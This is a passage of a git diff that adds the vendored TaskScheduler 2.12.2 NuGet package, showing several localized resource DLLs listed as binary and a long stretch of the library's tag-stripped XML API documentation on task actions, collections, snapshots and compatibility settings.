native array. + + + Extensions related to System.Reflection + + + Loads a type from a named assembly. + Name of the type. + The name or path of the file that contains the manifest of the assembly. + The reference, or null if type or assembly not found. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly reference name from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. This method assumes the type has a default public constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. + The arguments to supply to the constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on an object with parameters and no return value. + The object on which to invoke the method. + Name of the method. + The arguments to provide to the method invocation. + + + Invokes a named method on an object with parameters and no return value. + The expected type of the method's return value. + The object on which to invoke the method. + Name of the method. + The types of the . + The arguments to provide to the method invocation. + The value returned from the method. + + + Gets a named property value from an object. + The expected type of the property to be returned. + The object from which to retrieve the property. + Name of the property. + The default value to return in the instance that the property is not found. + The property value, if found, or the if not. + + + Sets a named property on an object. + The type of the property to be set. + The object on which to set the property. + Name of the property. + The property value to set on the object. + +
+
diff --git a/packages/TaskScheduler.2.12.2/lib/netstandard2.0/de/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/netstandard2.0/de/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..f2da932 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/netstandard2.0/de/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/netstandard2.0/es/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/netstandard2.0/es/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..62bc1dc Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/netstandard2.0/es/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/netstandard2.0/fr/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/netstandard2.0/fr/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..8fe3b55 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/netstandard2.0/fr/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/netstandard2.0/it/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/netstandard2.0/it/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..fe0047e Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/netstandard2.0/it/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/netstandard2.0/ja/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/netstandard2.0/ja/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..f3ab60c Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/netstandard2.0/ja/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/netstandard2.0/pl/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/netstandard2.0/pl/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..5e8eb05 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/netstandard2.0/pl/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/netstandard2.0/ru/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/netstandard2.0/ru/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..f3eb272 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/netstandard2.0/ru/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/netstandard2.0/sv/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/netstandard2.0/sv/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..aed7213 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/netstandard2.0/sv/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/netstandard2.0/tr/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/netstandard2.0/tr/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..1ae0efb Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/netstandard2.0/tr/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/netstandard2.0/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/netstandard2.0/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..a367300 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/netstandard2.0/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/netstandard2.0/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/netstandard2.0/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..e4b7235 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/netstandard2.0/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/netstandard2.1/Microsoft.Win32.TaskScheduler.dll b/packages/TaskScheduler.2.12.2/lib/netstandard2.1/Microsoft.Win32.TaskScheduler.dll new file mode 100644 index 0000000..44bd0ea Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/netstandard2.1/Microsoft.Win32.TaskScheduler.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/netstandard2.1/Microsoft.Win32.TaskScheduler.xml b/packages/TaskScheduler.2.12.2/lib/netstandard2.1/Microsoft.Win32.TaskScheduler.xml new file mode 100644 index 0000000..741ff76 --- /dev/null +++ b/packages/TaskScheduler.2.12.2/lib/netstandard2.1/Microsoft.Win32.TaskScheduler.xml @@ -0,0 +1,7855 @@ + + + + Microsoft.Win32.TaskScheduler + + + + Defines the type of actions a task can perform. + The action type is defined when the action is created and cannot be changed later. See . + + + + This action performs a command-line operation. For example, the action can run a script, launch an executable, or, if the name + of a document is provided, find its associated application and launch the application with the document. + + + + This action fires a handler. + + + This action sends and e-mail. + + + This action shows a message box. + + + An interface that exposes the ability to convert an actions functionality to a PowerShell script. + + + + Abstract base class that provides the common properties that are inherited by all action objects. An action object is created by the + method. + + + + List of unbound values when working with Actions not associated with a registered task. + + + Occurs when a property value changes. + + + Gets the type of the action. + The type of the action. + + + Gets or sets the identifier of the action. + + + Creates the specified action. + Type of the action to instantiate. + of specified type. + + + Creates a new object that is a copy of the current instance. + A new object that is a copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Returns the action Id. + String representation of action. + + + Returns a that represents this action. + The culture. + String representation of action. + + + Creates a specialized class from a defined interface. + Version 1.0 interface. + Specialized action class + + + Creates a specialized class from a defined interface. + Version 2.0 Action interface. + Specialized action class + + + Copies the properties from another the current instance. + The source . + + + + Represents an action that fires a handler. Only available on Task Scheduler 2.0. Only available for Task Scheduler 2.0 on + Windows Vista or Windows Server 2003 and later. + + + This action is the most complex. It allows the task to execute and In-Proc COM server object that implements the ITaskHandler + interface. There is a sample project that shows how to do this in the Downloads section. + + + + + + + + + Creates an unbound instance of . + + + Creates an unbound instance of . + Identifier of the handler class. + Addition data associated with the handler. + + + Gets or sets the identifier of the handler class. + + + Gets the name of the object referred to by . + + + Gets or sets additional data that is associated with the handler. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Gets the name for CLSID. + The unique identifier. + + + + + Represents an action that sends an e-mail. Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and + later.This action has been deprecated in Windows 8 and later. However, this library is able to mimic its + functionality using PowerShell if the property is set to . To disable this conversion, set the value to . + + The EmailAction allows for an email to be sent when the task is triggered. + + + + + + + + Creates an unbound instance of . + + + Creates an unbound instance of . + Subject of the e-mail. + E-mail address that you want to send the e-mail from. + E-mail address or addresses that you want to send the e-mail to. + Body of the e-mail that contains the e-mail message. + Name of the server that you use to send e-mail from. + + + + Gets or sets an array of file paths to be sent as attachments with the e-mail. Each item must be a value + containing a path to file. + + + + Gets or sets the e-mail address or addresses that you want to Bcc in the e-mail. + + + Gets or sets the body of the e-mail that contains the e-mail message. + + + Gets or sets the e-mail address or addresses that you want to Cc in the e-mail. + + + Gets or sets the e-mail address that you want to send the e-mail from. + + + Gets or sets the header information in the e-mail message to send. + + + Gets or sets the priority of the e-mail message. + A that contains the priority of this message. + + + Gets or sets the e-mail address that you want to reply to. + + + Gets or sets the name of the server that you use to send e-mail from. + + + Gets or sets the subject of the e-mail. + + + Gets or sets the e-mail address or addresses that you want to send the e-mail to. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Represents an action that executes a command-line operation. + + All versions of the base library support the ExecAction. It only has three properties that allow it to run an executable with parameters. + + + + + + + + + Creates a new instance of an that can be added to . + + + Creates a new instance of an that can be added to . + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + + + Gets or sets the arguments associated with the command-line operation. + + + Gets or sets the path to an executable file. + + + + Gets or sets the directory that contains either the executable file or the files that are used by the executable file. + + + + Determines whether the specified path is a valid filename and, optionally, if it exists. + The path. + if set to true check if file exists. + if set to true throw exception on error. + true if the specified path is a valid filename; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Validates the input as a valid filename and optionally checks for its existence. If valid, the property is + set to the validated absolute file path. + + The file path to validate. + if set to true check if the file exists. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + + Represents an action that shows a message box when a task is activated. Only available for Task Scheduler 2.0 on Windows Vista + or Windows Server 2003 and later.This action has been deprecated in Windows 8 and later. However, this + library is able to mimic its functionality using PowerShell if the property is + set to . To disable this conversion, set the value to . + + Display a message when the trigger fires using the ShowMessageAction. + + + + + + + + Creates a new unbound instance of . + + + Creates a new unbound instance of . + Message text that is displayed in the body of the message box. + Title of the message box. + + + Gets or sets the message text that is displayed in the body of the message box. + + + Gets or sets the title of the message box. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Options for when to convert actions to PowerShell equivalents. + + + + Never convert any actions to PowerShell. This will force exceptions to be thrown when unsupported actions our action quantities + are found. + + + + + Convert actions under Version 1 of the library (Windows XP or Windows Server 2003 and earlier). This option supports multiple + actions of all types. If not specified, only a single is supported. Developer must ensure that + PowerShell v2 or higher is installed on the target computer. + + + + + Convert all and references to their PowerShell equivalents on systems + on or after Windows 8 / Server 2012. + + + + Convert all actions regardless of version or operating system. + + + Collection that contains the actions that are performed by the task. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets or sets the identifier of the principal for the task. + + + + Gets or sets the systems under which unsupported actions will be converted to PowerShell instances. + + The PowerShell platform options. + + This property will affect how many actions are physically stored in the system and is tied to the version of Task Scheduler. + + If set to , then no actions will ever be converted to PowerShell. This will + force exceptions to be thrown when unsupported actions our action quantities are found. + + + If set to , then actions will be converted only under Version 1 of the + library (Windows XP or Windows Server 2003 and earlier). This option supports multiple actions of all types. If not specified, + only a single is supported. Developer must ensure that PowerShell v2 or higher is installed on the + target computer. + + + If set to (which is the default value), then and references will be converted to their PowerShell equivalents on systems + on or after Windows 8 / Server 2012. + + + If set to , then any actions not supported by the Task Scheduler version will be + converted to PowerShell. + + + + + Gets or sets an XML-formatted version of the collection. + + + Gets the number of actions in the collection. + + + Gets or sets a specified action from the collection. + The . + The id ( ) of the action to be retrieved. + Specialized instance. + + + + Mismatching Id for action and lookup. + + + Gets or sets a an action at the specified index. + The zero-based index of the action to get or set. + + + Adds an action to the task. + A type derived from . + A derived class. + The bound that was added to the collection. + + + Adds an to the task. + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + The bound that was added to the collection. + + + Adds a new instance to the task. + Type of task to be created + Specialized instance. + + + Adds a collection of actions to the end of the . + + The actions to be added to the end of the . The collection itself cannot be null and cannot + contain null elements. + + is null. + + + Clears all actions from the task. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Determines whether the specified action type is contained in this collection. + Type of the action. + true if the specified action type is contained in this collection; otherwise, false. + + + + Copies the elements of the to an array of , starting at a particular index. + + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + + + + Copies the elements of the to an array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first + occurrence within the entire collection. + + + The delegate that defines the conditions of the to search for. + + + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Retrieves an enumeration of each of the actions. + + Returns an object that implements the interface and that can iterate through the + objects within the . + + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Determines the index of a specific item in the . + The id ( ) of the action to be retrieved. + The index of if found in the list; otherwise, -1. + + + Inserts an action at the specified index. + The zero-based index at which action should be inserted. + The action to insert into the list. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Removes the action at a specified index. + Index of action to remove. + Index out of range. + + + Copies the elements of the to a new array. + An array containing copies of the elements of the . + + + Returns a that represents the actions in this collection. + A that represents the actions in this collection. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Functions to provide localized strings for enumerated types and values. + + + + + Gets a string representing the localized value of the provided enum. + + The enum value. + A localized string, if available. + + + + Pair of name and value. + + + + + Occurs when a property has changed. + + + + + Initializes a new instance of the class. + + + + + Gets or sets the name. + + + The name. + + + + + Gets or sets the value. + + + The value. + + + + + Clones this instance. + + A copy of an unbound . + + + + Determines whether the specified , is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Implements the operator implicit NameValuePair. + + The KeyValuePair. + + The result of the operator. + + + + + Contains a collection of name-value pairs. + + + + + Occurs when the collection has changed. + + + + + Occurs when a property has changed. + + + + + Copies current to another. + + The destination collection. + + + + Releases all resources used by this class. + + + + + Gets the number of items in the collection. + + + + + Gets a collection of the names. + + + The names. + + + + + Gets a collection of the values. + + + The values. + + + + + Gets the value of the item at the specified index. + + The index of the item being requested. + The value of the name-value pair at the specified index. + + + + Gets the value of the item with the specified name. + + Name to get the value for. + Value for the name, or null if not found. + + + + Adds an item to the . + + The object to add to the . + + + + Adds a name-value pair to the collection. + + The name associated with a value in a name-value pair. + The value associated with a name in a name-value pair. + + + + Adds the elements of the specified collection to the end of . + + The collection of whose elements should be added to the end of . + + + + Clears the entire collection of name-value pairs. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Removes the name-value pair with the specified key from the collection. + + The name associated with a value in a name-value pair. + true if item successfully removed; false otherwise. + + + + Removes a selected name-value pair from the collection. + + Index of the pair to remove. + + + + Gets the value associated with the specified name. + + The name whose value to get. + When this method returns, the value associated with the specified name, if the name is found; otherwise, null. This parameter is passed uninitialized. + true if the collection contains an element with the specified name; otherwise, false. + + + + Gets the collection enumerator for the name-value collection. + + An for the collection. + + + + Abstract class for throwing a method specific exception. + + + + Defines the minimum supported version for the action not allowed by this exception. + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Gets a message that describes the current exception. + + + + + Gets the minimum supported TaskScheduler version required for this method or property. + + + + + Gets the object data. + + The information. + The context. + + + + Thrown when the calling method is not supported by Task Scheduler 1.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Initializes a new instance of the class. + + The message. + + + + Thrown when the calling method is not supported by Task Scheduler 2.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Thrown when the calling method is not supported by Task Scheduler versions prior to the one specified. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + A strongly-typed resource class, for looking up localized strings, etc. + + + + + Returns the cached ResourceManager instance used by this class. + + + + + Overrides the current thread's CurrentUICulture property for all + resource lookups using this strongly typed resource class. + + + + + Looks up a localized string similar to Call a COM object. + + + + + Looks up a localized string similar to Start a program. + + + + + Looks up a localized string similar to Send an e-mail. + + + + + Looks up a localized string similar to Display a message. + + + + + Looks up a localized string similar to {3} {0:P}. + + + + + Looks up a localized string similar to every day. + + + + + Looks up a localized string similar to {1} {0}. + + + + + Looks up a localized string similar to .. + + + + + Looks up a localized string similar to The date and time a trigger expires must be later than the time time it starts or is activated.. + + + + + Looks up a localized string similar to {0} {1}. + + + + + Looks up a localized string similar to -. + + + + + Looks up a localized string similar to ,. + + + + + Looks up a localized string similar to every month. + + + + + Looks up a localized string similar to Multiple actions defined. + + + + + Looks up a localized string similar to Multiple triggers defined. + + + + + Looks up a localized string similar to {0}. + + + + + Looks up a localized string similar to Author. + + + + + Looks up a localized string similar to Disabled. + + + + + Looks up a localized string similar to Queued. + + + + + Looks up a localized string similar to Ready. + + + + + Looks up a localized string similar to Running. + + + + + Looks up a localized string similar to Unknown. + + + + + Looks up a localized string similar to any user. + + + + + Looks up a localized string similar to At system startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to At {0:t} every day. + + + + + Looks up a localized string similar to At {0:t} every {1} days. + + + + + Looks up a localized string similar to indefinitely. + + + + + Looks up a localized string similar to for a duration of {0}. + + + + + Looks up a localized string similar to for {0}. + + + + + Looks up a localized string similar to Trigger expires at {0:G}.. + + + + + Looks up a localized string similar to Custom event filter. + + + + + Looks up a localized string similar to On event - Log: {0}. + + + + + Looks up a localized string similar to , Source: {0}. + + + + + Looks up a localized string similar to , EventID: {0}. + + + + + Looks up a localized string similar to When computer is idle. + + + + + Looks up a localized string similar to At log on of {0}. + + + + + Looks up a localized string similar to At {0:t} on day {1} of {2}, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} on {1} {2:f} each {3}, starting {0:d}. + + + + + Looks up a localized string similar to When the task is created or modified. + + + + + Looks up a localized string similar to After triggered, repeat every {0} {1}.. + + + + + Looks up a localized string similar to Every {0} {1}.. + + + + + Looks up a localized string similar to On local connection to {0}.. + + + + + Looks up a localized string similar to On local disconnect from {0}.. + + + + + Looks up a localized string similar to On remote connection to {0}.. + + + + + Looks up a localized string similar to On remote disconnect from {0}.. + + + + + Looks up a localized string similar to On workstation lock of {0}.. + + + + + Looks up a localized string similar to On workstation unlock of {0}.. + + + + + Looks up a localized string similar to user session of {0}. + + + + + Looks up a localized string similar to At {0:t} on {0:d}. + + + + + Looks up a localized string similar to At startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to Daily. + + + + + Looks up a localized string similar to On an event. + + + + + Looks up a localized string similar to On idle. + + + + + Looks up a localized string similar to At log on. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to At task creation/modification. + + + + + Looks up a localized string similar to On state change. + + + + + Looks up a localized string similar to One time. + + + + + Looks up a localized string similar to Weekly. + + + + + Looks up a localized string similar to At {0:t} every {1} of every week, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} every {1} of every {2} weeks, starting {0:d}. + + + + + Looks up a localized string similar to every. + + + + + Looks up a localized string similar to fifth. + + + + + Looks up a localized string similar to first. + + + + + Looks up a localized string similar to fourth. + + + + + Looks up a localized string similar to last. + + + + + Looks up a localized string similar to second. + + + + + Looks up a localized string similar to third. + + + + + Some string values of properties can be set to retrieve their value from existing DLLs as a resource. This class facilitates creating those reference strings. + + + + + Initializes a new instance of the class. + + The DLL path. + The resource identifier. + + + + Gets or sets the resource file path. This can be a relative path, full path or lookup path (e.g. %SystemRoot%\System32\ResourceName.dll). + + + The resource file path. + + + + + Gets or sets the resource identifier. + + The resource identifier. + + + + Performs an implicit conversion from to . + + The value. + The result of the conversion. + + + + Parses the input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + A new instance on success or null on failure. + is null + is not in the format "$(@ [Dll], [ResourceID])" + + + + Tries to parse to input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + The resource reference to be returned. On failure, this value equals null. + A new instance on success or null on failure. + + + + Gets the result of pulling the string from the resource file using the identifier. + + from resource file. + cannot be found. + Unable to load or string identified by . + + + + Returns a in the format required by the Task Scheduler to reference a string in a DLL. + + A formatted in the format $(@ [Dll], [ResourceID]). + + + Abstract class representing a secured item for storage in a . + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + Gets the path to the item. + The path to the item. + + + Gets the SDDL for the item. + The SDDL for the item. + + + Represents a instance and captures its name and security. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + + Represents all the information about the tasks and folders from a instance that can be used to reconstitute tasks and folders + on the same or different systems. This class and related classes are only available under the .NET 4.5.2 build and later .NET versions due to + dependencies on threading and compressed (zip) files. + + + + Creates a new instance of from an existing snapshot. + The zip file snapshot created by the method. + + + + Gets a list of and instances the represent the tasks and folders from a Task Scheduler instance. + + + + Gets the path of the file based snapshot. + + + Gets the machine name of the server from which the snapshot was taken. + The target server name. + + + Gets the UTC time stamp for when the snapshot was taken. + The time stamp. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method can take many seconds to execute. It is recommended to call the asynchronous + version.This method will execute without error even if the user does not have permissions to see all tasks and folders. + It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A instance with the contents of the specified Task Scheduler connection. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method will execute without error even if the user does not have permissions to see all + tasks and folders. It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance with the contents of the specified Task Scheduler connection. + + + Opens an existing snapshot and returns a new instance of . + The zip file snapshot created by the method. + A instance with the contents of the specified snapshot file. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of paths representing the tasks and folders from this snapshot that should be registered on the instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + + + Represents a instance and captures its details. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + If set to true task is enabled. + The XML for the . + + + Gets a value indicating whether th is enabled. + true if enabled; otherwise, false. + + + Gets the XML. + The XML. + + + Defines what versions of Task Scheduler or the AT command that the task is compatible with. + + + The task is compatible with the AT command. + + + + The task is compatible with Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + Items not available when compared to V2: + + TaskDefinition.Principal.GroupId - All account information can be retrieved via the UserId property. + TaskLogonType values Group, None and S4U are not supported. + TaskDefinition.Principal.RunLevel == TaskRunLevel.Highest is not supported. + + Assigning access security to a task is not supported using TaskDefinition.RegistrationInfo.SecurityDescriptorSddlForm or in RegisterTaskDefinition. + + + TaskDefinition.RegistrationInfo.Documentation, Source, URI and Version properties are only supported using this library. See + details in the remarks for . + + TaskDefinition.Settings.AllowDemandStart cannot be false. + TaskDefinition.Settings.AllowHardTerminate cannot be false. + TaskDefinition.Settings.MultipleInstances can only be IgnoreNew. + TaskDefinition.Settings.NetworkSettings cannot have any values. + TaskDefinition.Settings.RestartCount can only be 0. + TaskDefinition.Settings.StartWhenAvailable can only be false. + + TaskDefinition.Actions can only contain ExecAction instances unless the TaskDefinition.Actions.PowerShellConversion property has + the Version1 flag set. + + TaskDefinition.Triggers cannot contain CustomTrigger, EventTrigger, SessionStateChangeTrigger, or RegistrationTrigger instances. + TaskDefinition.Triggers cannot contain instances with delays set. + TaskDefinition.Triggers cannot contain instances with ExecutionTimeLimit or Id properties set. + TaskDefinition.Triggers cannot contain LogonTriggers instances with the UserId property set. + TaskDefinition.Triggers cannot contain MonthlyDOWTrigger instances with the RunOnLastWeekOfMonth property set to true. + TaskDefinition.Triggers cannot contain MonthlyTrigger instances with the RunOnDayWeekOfMonth property set to true. + + + + + + The task is compatible with Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + This version is the baseline for the new, non-file based Task Scheduler. See remarks for + functionality that was not forward-compatible. + + + + + + The task is compatible with Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + Changes from V2: + + TaskDefinition.Principal.ProcessTokenSidType can be defined as a value other than Default. + + TaskDefinition.Actions may not contain EmailAction or ShowMessageAction instances unless the + TaskDefinition.Actions.PowerShellConversion property has the Version2 flag set. + + TaskDefinition.Principal.RequiredPrivileges can have privilege values assigned. + TaskDefinition.Settings.DisallowStartOnRemoteAppSession can be set to true. + TaskDefinition.UseUnifiedSchedulingEngine can be set to true. + + + + + + The task is compatible with Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + Changes from V2_1: + + + TaskDefinition.Settings.MaintenanceSettings can have Period or Deadline be values other than TimeSpan.Zero or the Exclusive + property set to true. + + TaskDefinition.Settings.Volatile can be set to true. + + + + + + The task is compatible with Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + Changes from V2_2: + + None published. + + + + + Defines how the Task Scheduler service creates, updates, or disables the task. + + + The Task Scheduler service registers the task as a new task. + + + + The Task Scheduler service either registers the task as a new task or as an updated version if the task already exists. + Equivalent to Create | Update. + + + + + The Task Scheduler service registers the disabled task. A disabled task cannot run until it is enabled. For more information, + see Enabled Property of TaskSettings and Enabled Property of RegisteredTask. + + + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. When the + TaskFolder.RegisterTaskDefinition or TaskFolder.RegisterTask functions are called with this flag to update a task, the Task + Scheduler service does not add the ACE for the new context principal and does not remove the ACE from the old context principal. + + + + + The Task Scheduler service creates the task, but ignores the registration triggers in the task. By ignoring the registration + 